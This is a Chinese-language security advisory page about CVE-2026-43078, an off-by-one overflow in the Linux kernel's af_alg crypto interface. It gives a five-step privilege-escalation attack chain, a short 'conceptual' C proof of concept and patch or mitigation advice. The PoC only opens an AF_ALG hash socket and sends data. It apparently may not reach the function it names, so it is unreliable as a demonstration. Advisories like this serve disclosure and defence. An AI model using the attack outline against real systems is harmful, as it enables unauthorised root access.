IPBUF安全漏洞报告
English
CVE-2026-43078 CVSS 7.8 高危

CVE-2026-43078: Linux内核af_alg页面重分配溢出漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43078
漏洞类型
内存越界溢出
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存溢出LPE本地提权Cryptoaf_alg

漏洞概述

Linux内核的crypto子系统中的af_alg模块存在一处内存溢出漏洞。在af_alg_pull_tsgl函数执行页面重分配操作时,由于循环逻辑未正确更新,可能导致尝试重新分配比实际需求多一个的页面。该缺陷可能被本地攻击者利用,通过构造特制的请求触发内核堆越界写入,从而导致系统崩溃或权限提升。

技术细节

漏洞原理位于`crypto/af_alg.c`的`af_alg_pull_tsgl`函数。该函数负责管理异步加密操作中的页分散列表。在引入页面重分配逻辑后,原循环的终止条件未做相应调整,导致存在“差一”错误。当特定条件满足时,循环会多执行一次,对未分配的页面指针进行操作,造成越界写入。攻击者需具备本地低权限账号。利用方式涉及创建AF_ALG类型的socket,设置加密算法类型,并通过sendmsg系统调用发送精心构造的数据流,以触发sgl(scatter-gather list)的调整逻辑。成功利用可破坏内核内存完整性,进而实现本地权限提升(LPE)。

攻击链分析

STEP 1
获取访问权限
攻击者需要在目标系统上拥有低权限的本地账号。
STEP 2
创建AF_ALG套接字
编写恶意程序,通过socket系统调用创建AF_ALG族套接字,并绑定到受影响的加密算法(如hash或skcipher)。
STEP 3
触发漏洞逻辑
通过sendmsg或send系统调用发送特制数据,迫使内核进入af_alg_pull_tsgl函数并执行页面重分配代码路径。
STEP 4
内存破坏与利用
由于循环边界检查缺失,触发越界写入,覆盖相邻的内核内存对象。
STEP 5
权限提升或拒绝服务
利用内存破坏劫持控制流或修改关键数据结构,获取Root权限,或导致内核崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// This is a conceptual PoC for CVE-2026-43078 // It demonstrates how to interact with AF_ALG to trigger the path. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> int main() { int tfmfd, opfd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "sha256" }; char buf[32] = {0}; // Create algorithm socket tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfmfd < 0) { perror("socket"); return 1; } // Bind with specific algorithm if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfmfd); return 1; } // Create operation socket opfd = accept(tfmfd, NULL, 0); if (opfd < 0) { perror("accept"); close(tfmfd); return 1; } // Send data to trigger af_alg_pull_tsgl logic // Real exploitation requires specific size and timing to hit the overflow if (send(opfd, buf, sizeof(buf), 0) < 0) { perror("send"); } else { printf("Data sent. Check kernel logs for panic/crash."); } close(opfd); close(tfmfd); return 0; }

影响范围

Linux Kernel (Git commit 2b781d1d4f93 之前版本)
Linux Kernel (Git commit 31d00156e50e 之前版本)
Linux Kernel (Git commit 710a4ce5d7af 之前版本)

防御指南

临时缓解措施
建议立即应用官方提供的补丁程序升级Linux内核。若无法立即升级,可限制非root用户使用AF_ALG接口,或禁用相关的用户空间加密API接口以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表